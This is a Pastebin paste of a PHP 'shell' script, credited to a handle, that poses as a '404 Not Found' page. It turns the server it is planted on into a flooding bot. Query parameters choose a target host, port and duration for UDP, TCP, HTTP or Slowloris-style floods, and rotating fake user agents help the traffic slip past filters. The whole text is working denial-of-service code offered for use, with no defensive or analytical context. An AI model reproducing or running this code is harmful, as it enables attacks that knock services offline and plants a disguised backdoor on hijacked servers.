Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //This is a 404 shell with UDP, TCP, Slowloris, and HTTP flooding
- //Coded by SynthMesc
- error_reporting(0);
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $useragents = ["Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6","Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)","Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02","Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)","Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1","Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)","Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4","Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"];
- if(isset($_GET['type']) && $_GET['type']=="UDP" && isset($_GET['host']) && isset($_GET['time'])) {
- $packets = 0;
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time+$exec_time;
- $host = $_GET['host'];
- $out = "";
- for($i=0;$i<65500;$i++){
- $out .= "\xFF";
- }
- while(1){
- if(time() > $max_time){
- break;
- }
- $rand = rand(1,65535);
- $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- $packets++;
- }
- }
- echo "$packets";
- } else if(isset($_GET['type']) && $_GET['type']=="TCP" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])) {
- $host = $_GET['host'];
- $port = $_GET['port'];
- $length = $_GET['time'];
- $max_time = time() + $length;
- $packet = "";
- $packets = 0;
- while( strlen ( $packet ) < 1024 ) {
- $packet .= Chr( 255 );
- }
- @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
- while(1) {
- if (time() > $max_time) {
- break;
- }
- if($fp) {
- fwrite( $fp , $packet );
- $packets++;
- } else {
- @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
- }
- }
- echo "$packets";
- } else if(isset($_GET['type']) && $_GET['type']=="HTTP" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['page']) && isset($_GET['time'])) {
- $host = $_GET['host'];
- $port = $_GET['port'];
- $page = $_GET['page'];
- $length = $_GET['time'];
- if ($page == "") {
- $page = '/';
- }
- $max_time = time() + $length;
- @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
- while(1) {
- if ( time() > $max_time ) {
- break;
- }
- $packet = 'GET ' . $page . ' HTTP/1.1' . "\r\n";
- $packet .= 'Host: ' . $host . "\r\n";
- $packet .= 'User-Agent: ' . $useragents[array_rand($useragents)] . "\r\n";
- $packet .= 'Keep-alive: 300' . "\r\n";
- $packet .= 'Connection: keep-alive' . "\r\n\r\n";
- if($fp) {
- fwrite($fp , $packet);
- $packets++;
- } else {
- @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
- }
- }
- echo "$packets";
- } else if(isset($_GET['type']) && $_GET['type']=="SLOWLORIS" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['page']) && isset($_GET['time'])) {
- $host = $_GET['host'];
- $port = $_GET['port'];
- $page = $_GET['page'];
- $length = $_GET['time'];
- if ($page == "") {
- $page = '/';
- }
- $max_time = time() + $length;
- @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
- while(1) {
- if ( time() > $max_time ) {
- break;
- }
- $packet = 'POST ' . $page . ' HTTP/1.1' . "\r\n";
- $packet .= 'Host: ' . $host . "\r\n";
- $packet .= 'User-Agent: ' . $useragents[array_rand($useragents)] . "\r\n";
- $packet .= 'Content-length: 42' . "\r\n\r\n";
- if($fp) {
- fwrite($fp, $packet);
- $packets++;
- } else {
- @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
- }
- }
- echo "$packets";
- } else {
- //Produce 404 page
- header("Status: 404 Not Found");
- header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
- echo "<h1>404 Not Found</h1>";
- echo "The page that you have requested could not be found.";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment